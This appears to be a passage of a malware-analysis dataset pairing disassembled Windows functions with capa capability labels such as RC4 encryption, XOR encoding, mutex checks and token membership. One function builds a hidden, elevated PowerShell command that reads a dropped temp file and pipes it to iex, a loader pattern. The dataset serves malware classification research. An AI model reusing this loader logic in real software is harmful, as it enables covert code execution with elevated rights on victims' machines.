joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47a900
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x47ab4b
add rsp, 0xffffffffffffff80
mov qword [rsp + 0x78], rbp
lea rbp, [rsp + 0x78]
mov ebx, dword [rax + 0x2c]
nop dword [rax + rax]
test ebx, ebx
jne 0x47a9ac
mov qword [rsp + 0x88], rax
lea rbx, [0x00505d40]
mov rcx, rax
lea rax, [0x005de780]
call fcn.0046a220
test cl, cl
jne 0x47a991
mov rax, qword [rsp + 0x88]
call fcn.0047a1e0
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x30]
lea rbx, [0x0053747b]
call fcn.0044e200
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x28], rbx
nop dword [rax]
call fcn.0047ab80
mov rcx, qword [rsp + 0x88]
xor edx, edx
jmp 0x47a9cd
lea rdx, [0x00505a80]
cmp rax, rdx
jne 0x47a9bb
test byte [rbx], al
mov rax, rbx
mov rbp, qword [rsp + 0x78]
sub rsp, 0xffffffffffffff80
ret
call fcn.0045ec80
mov rbp, qword [rsp + 0x78]
sub rsp, 0xffffffffffffff80
ret
mov rbx, rdx
lea rcx, [0x004ee240]
call fcn.0040a420
inc rdx
cmp rbx, rdx
jle 0x47aa18
mov rsi, qword [rax + rdx*8]
cmp qword [rsi + 0x30], rcx
jne 0x47a9ca
lea rax, [0x005de780]
lea rbx, [0x00505d40]
lea rdi, [0x00505a80]
call fcn.0046a4c0
lea rdx, [0x00505a80]
nop dword [rax]
cmp rax, rdx
jne 0x47ab3b
test byte [rbx], al
mov rax, rbx
mov rbp, qword [rsp + 0x78]
sub rsp, 0xffffffffffffff80
ret
lea rcx, [0x004e8be0]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], 0
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x58], rcx
lea rax, [0x004f66e0]
nop
call fcn.0040cfe0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x58]
test byte [rcx], al
cmp dword [0x00632950], 0
jne 0x47aa7a
mov rdx, qword [rcx]
mov qword [rax], rdx
movups xmm0, xmmword [rcx + 8]
movups xmmword [rax + 8], xmm0
movups xmm0, xmmword [rcx + 0x18]
movups xmmword [rax + 0x18], xmm0
movups xmm0, xmmword [rcx + 0x28]
movups xmmword [rax + 0x28], xmm0
jmp 0x47aa89
mov rbx, rax
lea rax, [0x004f66e0]
call fcn.00412d40
mov rax, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x28]
xor ecx, ecx
xor edi, edi
xor esi, esi
mov r8d, esi
nop dword [rax]
call fcn.00479c40
call fcn.0045ed40
mov rsi, qword [rsp + 0x60]
mov dword [rsi + 0x28], eax
mov dword [rsi + 0x2c], 0
mov rcx, qword [rsp + 0x88]
mov edx, dword [rcx + 0x10]
xor eax, eax
jmp 0x47aad6
imul edx, edx, 0x1000193
xor edx, 0x2a
mov eax, 1
cmp rax, 1
jl 0x47aac8
mov dword [rsi + 0x10], edx
cmp dword [0x00632950], 0
jne 0x47aaee
mov qword [rsi + 0x30], rcx
jmp 0x47aaf7
lea rdi, [rsi + 0x30]
call fcn.00463260
lea rax, [0x005de780]
lea rbx, [0x00505d40]
lea rdi, [0x00505a80]
call fcn.0046a4c0
lea rdx, [0x00505a80]
cmp rax, rdx
jne 0x47ab2c
test byte [rbx], al
mov rax, rbx
mov rbp, qword [rsp + 0x78]
sub rsp, 0xffffffffffffff80
ret
mov rbx, rdx
lea rcx, [0x004ee240]
call fcn.0040a420
mov rbx, rdx
lea rcx, [0x004ee240]
call fcn.0040a420
nop
mov qword [rsp + 8], rax
call fcn.00460f20
mov rax, qword [rsp + 8]
jmp fcn.0047a900
Function at 0x4b9420
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4b958b
sub rsp, 0x70
mov qword [rsp + 0x68], rbp
lea rbp, [rsp + 0x68]
movups xmmword [rsp + 0x40], xmm15
mov qword [rsp + 0x30], 0
lea rax, [0x00509bb9]
mov ebx, 6
call fcn.004aeca0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], rbx
movups xmmword [rsp + 0x50], xmm15
mov qword [rsp + 0x60], 0
lea rcx, [0x004b95a0]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x2b
nop
call fcn.00402ea0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rcx, qword [rsp + 0x18]
nop
cmp rcx, 0xffffffffffffffff
je 0x4b9549
mov rdx, qword [rsp + 0x28]
cmp rdx, rcx
jb 0x4b9585
mov qword [rsp + 0x20], rcx
mov rsi, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, rcx
lea rdx, [rsp + 0x50]
call rsi
mov rax, qword [rsp + 0x20]
lea rcx, [rax + 1]
mov rbx, qword [rsp + 0x28]
nop
cmp rbx, rcx
jb 0x4b9578
mov rsi, qword [rsp + 0x50]
sub rbx, rax
dec rbx
mov rdi, rbx
neg rbx
sar rbx, 0x3f
and rcx, rbx
mov r8, qword [rsp + 0x38]
lea rax, [r8 + rcx]
mov rbx, rdi
lea rdx, [rsp + 0x50]
call rsi
mov rcx, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x68]
add rsp, 0x70
ret
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x28]
lea rdx, [rsp + 0x50]
call rcx
mov rcx, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x68]
add rsp, 0x70
ret
mov rax, rcx
mov rcx, rbx
nop
call fcn.004636c0
call fcn.00463640
nop
call fcn.00460f20
jmp fcn.004b9420
Function at 0x4d3d80
Capabilities:
Access peb ldr_data

Disassembly:
lea r12, [rsp - 0x30]
cmp r12, qword [r14 + 0x10]
jbe 0x4d3fe3
sub rsp, 0xb0
mov qword [rsp + 0xa8], rbp
lea rbp, [rsp + 0xa8]
test rax, rax
je 0x4d3fc7
mov qword [rsp + 0xb8], rax
mov rbx, qword [rax + 8]
mov rdx, qword [rax]
mov rcx, qword [rax + 0x10]
test rbx, rbx
jne 0x4d3dcd
xor ebx, ebx
xor ecx, ecx
jmp 0x4d3de0
mov rax, rdx
call fcn.004c66e0
mov rcx, rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x48], rbx
cmp qword [rax + 0x28], 0
je 0x4d3efb
mov rcx, qword [rax + 0x18]
mov rax, rcx
nop
call fcn.00477c60
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], rbx
mov rcx, qword [rsp + 0xb8]
mov r8, qword [rcx + 0x20]
mov r9, qword [rcx + 0x28]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x00509499]
mov esi, 1
lea rax, [rsp + 0x68]
mov rbx, qword [rsp + 0x88]
call fcn.0044e2a0
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
call fcn.00402ea0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
nop
jl 0x4d3ebe
xor eax, eax
lea rbx, [0x005094ae]
mov ecx, 1
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x60]
lea r8, [0x0050952c]
mov r9d, 2
mov r10, qword [rsp + 0x98]
mov r11, qword [rsp + 0x58]
call fcn.0044e380
jmp 0x4d3eeb
xor eax, eax
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x60]
lea rdi, [0x005094a4]
mov esi, 1
mov r8, qword [rsp + 0x98]
mov r9, qword [rsp + 0x58]
call fcn.0044e2a0
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
mov rax, qword [rax + 0x18]
nop
call fcn.00477c60
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x50], rbx
mov rcx, qword [rsp + 0x88]
mov qword [rsp], rcx
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 8], rdx
mov byte [rsp + 0x10], 0x3a
call fcn.00402ea0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x4d3f8a
xor eax, eax
lea rbx, [0x005094ae]
mov ecx, 1
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x48]
lea r8, [0x0050952c]
mov r9d, 2
mov r10, qword [rsp + 0x90]
mov r11, qword [rsp + 0x50]
call fcn.0044e380
jmp 0x4d3fb7
xor eax, eax
mov rbx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x005094a4]
mov esi, 1
mov r8, qword [rsp + 0x90]
mov r9, qword [rsp + 0x50]
call fcn.0044e2a0
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
lea rax, [0x0050988c]
mov ebx, 5
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
mov qword [rsp + 8], rax
call fcn.00460f20
mov rax, qword [rsp + 8]
jmp fcn.004d3d80
Function at 0x140001000
Capabilities:
Hide graphical window

Disassembly:
push rbp
lea rax, [0x140001180]
lea rcx, [0x1400062a0]
mov rbp, rsp
push r12
push rdi
push rsi
push rbx
and rsp, 0xfffffffffffffff0
sub rsp, 0x90
mov qword [0x1400062a8], rax
call qword [sym.imp.USER32.dll_RegisterClassA]
xor r8d, r8d
movabs rax, 0xbf000001fa
mov edx, 0x80000000
lea rcx, [0x1400061c0]
mov qword [0x1400061c8], rax
mov qword [0x1400061c0], 0
call qword [sym.imp.USER32.dll_AdjustWindowRect]
mov r12d, dword [0x1400061c8]
mov esi, dword [0x1400061cc]
xor ecx, ecx
mov rdi, qword [sym.imp.USER32.dll_GetSystemMetrics]
sub r12d, dword [0x1400061c0]
sub esi, dword [0x1400061c4]
call rdi
mov ecx, 1
sub eax, r12d
mov ebx, eax
call rdi
xor r8d, r8d
sub eax, esi
mov ecx, eax
cmp ebx, 0xffffffff
jl 0x1400010ac
mov eax, ebx
mov r8d, 2
cdq
idiv r8d
mov r8d, eax
xor eax, eax
cmp ecx, 0xffffffff
jl 0x1400010bf
mov eax, ecx
mov r9d, 2
cdq
idiv r9d
mov dword [rsp + 0x38], esi
mov rdx, qword [0x1400062e0]
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x20], r8d
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x28], eax
mov r9d, 0x80000000
xor r8d, r8d
mov ecx, 8
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov edx, 5
mov r12, rax
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r12
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [sym.imp.USER32.dll_GetMessageA]
mov rsi, qword [sym.imp.USER32.dll_DispatchMessageA]
mov rdi, qword [sym.imp.USER32.dll_TranslateMessage]
lea r12, [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r12
call rbx
test eax, eax
je 0x140001161
mov rcx, r12
call rsi
mov rcx, r12
call rdi
jmp 0x14000113f
mov rcx, qword [0x1400062e0]
xor edx, edx
call qword [sym.imp.USER32.dll_UnregisterClassA]
lea rsp, [rbp - 0x20]
pop rbx
pop rsi
pop rdi
pop r12
pop rbp
ret

Function at 0x140001f50
Capabilities:
Get token membership

Disassembly:
push rbp
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
mov rbp, rsp
and rsp, 0xfffffffffffffff0
add rsp, 0xffffffffffffff80
lea rax, [rsp + 0x78]
mov dword [rsp + 0x6c], 0
lea rcx, [rsp + 0x72]
mov dword [rsp + 0x72], 0
mov word [rsp + 0x76], 0x500
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x6c], eax
test eax, eax
je 0x140001fee
xor ecx, ecx
mov rdx, qword [rsp + 0x78]
lea r8, [rsp + 0x6c]
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x6c]
leave
ret
Function at 0x140002040
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push rbp
mov ecx, 0x104
mov rbp, rsp
push r12
push rsi
push rbx
and rsp, 0xfffffffffffffff0
sub rsp, 0x4b0
lea rbx, [rsp + 0x9c]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x140002174
lea r12, [rsp + 0x2a6]
xor r8d, r8d
lea rdx, section..rdata
mov rcx, rbx
mov r9, r12
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x140002174
mov rcx, r12
mov rsi, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rsi
mov rcx, r12
call fcn.140002570
test al, al
jne 0x140002174
movabs rax, 0x14000000070
mov rcx, rbx
mov qword [rsp + 0x50], 0
mov r8, r12
mov qword [rsp + 0x28], rax
mov rax, qword [str.runas]
lea rdx, str.__w_3__nop__nol__noni__c__gc__ls__raw__iex_
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x48], rbx
lea rcx, [rsp + 0x28]
lea rax, str.powershell
mov qword [rsp + 0x40], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14000213c
mov rcx, qword [rsp + 0x90]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000216f
mov ecx, dword [0x140006280]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x12
call qword [sym.imp.USER32.dll_PostThreadMessageA]
mov r8, qword [0x140003018]
mov r9d, 0x1010
xor ecx, ecx
lea rdx, [0x14000407c]
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, r12
call rsi
lea rsp, [rbp - 0x18]
pop rbx
pop rsi
pop r12
pop rbp
ret
Function at 0x140002180
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
lea r10, [0x140006340]
movzx r11d, dl
mov r9w, word [r10 + r11*2]
mov rbp, rsp
push r12
push rdi
push rsi
push rbx
mov rbx, rcx
mov ecx, edx
and rsp, 0xfffffffffffffff0
mov r8d, dword [0x140006314]
mov esi, dword [0x140006318]
cmp r8d, esi
jae 0x140002208
mov rax, qword [0x1400062e8]
shl r8d, 8
mov dword [0x140006314], r8d
lea rdx, [rax + 1]
mov qword [0x1400062e8], rdx
mov dl, byte [rax]
mov rax, qword [0x140006300]
mov byte [rax], dl
mov eax, dword [0x140006318]
mov edx, dword [0x140006310]
shl eax, 8
shl edx, 8
mov dword [0x140006318], eax
mov dword [0x140006310], edx
add edx, eax
jae 0x1400021a2
not eax
mov dword [0x140006310], eax
jmp 0x1400021a2
mov eax, dword [0x140006310]
lea edx, [rsi + rax]
xor edx, esi
cmp edx, 0xffffff
jbe 0x1400021b4
cmp eax, 0xffff
jbe 0x1400021b4
movzx r12d, r9w
xor edx, edx
div r12d
xor edx, edx
mov edi, eax
mov dword [0x140006310], eax
mov eax, r8d
mov r8b, 1
sub eax, esi
div edi
cmp r12d, eax
jbe 0x1400022da
movzx ecx, cl
lea rdx, [0x140006540]
xor r12d, r12d
shl rcx, 9
add rdx, rcx
mov rcx, rdx
movzx r8d, word [rcx]
add r8d, r12d
cmp eax, r8d
jb 0x140002274
add rcx, 2
mov r12d, r8d
jmp 0x14000225f
mov eax, edi
imul eax, r12d
add eax, esi
mov dword [0x140006318], eax
mov rax, rcx
sub rax, rdx
sar rax, 1
mov byte [rbx], al
movzx eax, word [rcx]
lea r8d, [rax + 1]
imul eax, dword [0x140006310]
mov word [rcx], r8w
mov dword [0x140006310], eax
inc r9w
jne 0x1400022d2
xor eax, eax
mov r8w, word [rdx + rax]
mov ecx, r8d
and r8d, 1
shr cx, 1
or ecx, r8d
mov word [rdx + rax], cx
add rax, 2
add r9d, ecx
cmp rax, 0x200
jne 0x1400022ad
mov word [r10 + r11*2], r9w
xor r8d, r8d
lea rsp, [rbp - 0x20]
mov eax, r8d
pop rbx
pop rsi
pop rdi
pop r12
pop rbp
ret
Function at 0x1400022f0
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Create thread
Terminate process

Disassembly:
push rbp
mov rbp, rsp
push r12
push rbx
and rsp, 0xfffffffffffffff0
sub rsp, 0x150
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x38]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test rax, rax
je 0x140002354
mov r12, rax
lea r8, str.KRe7dO_iOTID
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [0x140036580], rax
test rax, rax
je 0x14000235c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000237a
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r8, qword [0x140003018]
mov r9d, 0x1010
lea rdx, [0x1400040ec]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x14000234b
mov dword [rsp + 0x3c], 0x114
lea rcx, [rsp + 0x3c]
call qword [sym.imp.ntdll.dll_RtlGetVersion]
cmp dword [rsp + 0x40], 9
ja 0x1400023b5
mov r8, qword [0x140003018]
mov r9d, 0x1010
lea rdx, [0x140004120]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140002553
cmp dword [rsp + 0x38], 2
jg 0x140002553
call fcn.140001ec0
call fcn.140001f50
test eax, eax
je 0x1400024a3
cmp dword [rsp + 0x38], 2
jne 0x1400024a3
mov ecx, 0x63
call fcn.140002000
mov qword [0x1400062e8], rax
test rax, rax
je 0x140002553
call fcn.140001dc0
mov edx, 0x5e618
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [section..bss], rax
test rax, rax
je 0x140002553
xor ebx, ebx
call fcn.140002620
test al, al
jne 0x140002444
mov rax, qword [section..bss]
mov dx, word [0x14000631c]
mov byte [rax + rbx], dl
inc rbx
cmp rbx, 0x5e618
jne 0x14000241e
lea rax, [0x140006280]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x140001500]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [r12 + 8]
mov rdx, qword [str.proceed]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140002487
call fcn.140002040
mov ecx, dword [0x140006280]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x12
call qword [sym.imp.USER32.dll_PostThreadMessageA]
jmp 0x140002546
call fcn.140001d60
mov ecx, 0x64
call fcn.140002000
mov qword [0x1400062e8], rax
test rax, rax
je 0x140002553
call fcn.140001dc0
mov edx, 0x5e618
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [section..bss], rax
test rax, rax
je 0x140002553
xor ebx, ebx
call fcn.140002620
test al, al
jne 0x14000250b
mov rax, qword [section..bss]
mov dx, word [0x14000631c]
mov byte [rax + rbx], dl
inc rbx
cmp rbx, 0x5e618
jne 0x1400024e5
xor ecx, ecx
call fcn.140001520
cmp dword [0x140006150], 0
je 0x140002546
mov r9, qword [str.proceed]
mov rdx, qword [str.runas]
xor ecx, ecx
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r8, qword [r12]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [section..bss]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [0x140036580]
test rcx, rcx
je 0x14000234b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000234b
Function at 0x140002570
Capabilities:
Write file on windows

Disassembly:
push rbp
lea rax, [0x140003020]
xor r9d, r9d
mov rbp, rsp
push r12
push rsi
push rbx
and rsp, 0xfffffffffffffff0
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [0x1400062e8], rax
call fcn.140001dc0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov rcx, qword [rbp + 0x10]
xor r8d, r8d
mov qword [rsp + 0x30], 0
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r12, rax
mov al, 1
cmp r12, 0xffffffffffffffff
je 0x140002612
lea rsi, [rsp + 0x4c]
lea rbx, [0x14000631c]
call fcn.140002620
test al, al
jne 0x140002607
mov r9, rsi
mov r8d, 1
mov rdx, rbx
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400025dc
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea rsp, [rbp - 0x18]
pop rbx
pop rsi
pop r12
pop rbp
ret

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x14004ede0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 6], dil
je 0x14004ee14
mov eax, edi
nop dword [rax]
lea ecx, [rax - 0xb]
xor byte [r8 + rax], cl
inc rax
cmp rax, 5
jb 0x14004ee00
mov byte [r8 + 6], dil
lea rax, [r8 + 5]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], 0xf
cmp r8, rax
jne 0x14004ee44
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x14004ee5d
mov qword [rsp + 0x30], 5
mov eax, dword [r8]
mov dword [rsp + 0x20], eax
movzx eax, byte [r8 + 4]
mov byte [rsp + 0x24], al
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14004ee6b
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.14004e020
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14004eee5
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004eee0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004eee0
call qword [0x1400b6b08]
int3
call fcn.1400b207c
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret

Function at 0x14004ef00
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 7], dil
je 0x14004ef34
mov eax, edi
nop dword [rax]
lea ecx, [rax - 0xb]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x14004ef20
mov byte [r8 + 7], dil
lea rax, [r8 + 6]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], 0xf
cmp r8, rax
jne 0x14004ef64
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x14004ef7e
mov qword [rsp + 0x30], 6
mov eax, dword [r8]
mov dword [rsp + 0x20], eax
movzx eax, word [r8 + 4]
mov word [rsp + 0x24], ax
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14004ef8c
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.14004e020
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14004f006
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f001
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004f001
call qword [0x1400b6b08]
int3
call fcn.1400b207c
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x14004f020
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 9], dil
je 0x14004f054
mov eax, edi
nop dword [rax]
lea ecx, [rax - 0xb]
xor byte [r8 + rax], cl
inc rax
cmp rax, 8
jb 0x14004f040
mov byte [r8 + 9], dil
lea rax, [r8 + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], 0xf
cmp r8, rax
jne 0x14004f084
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x14004f095
mov qword [rsp + 0x30], 8
mov rax, qword [r8]
mov qword [rsp + 0x20], rax
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14004f0a3
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.14004e020
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14004f11d
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f118
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004f118
call qword [0x1400b6b08]
int3
call fcn.1400b207c
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret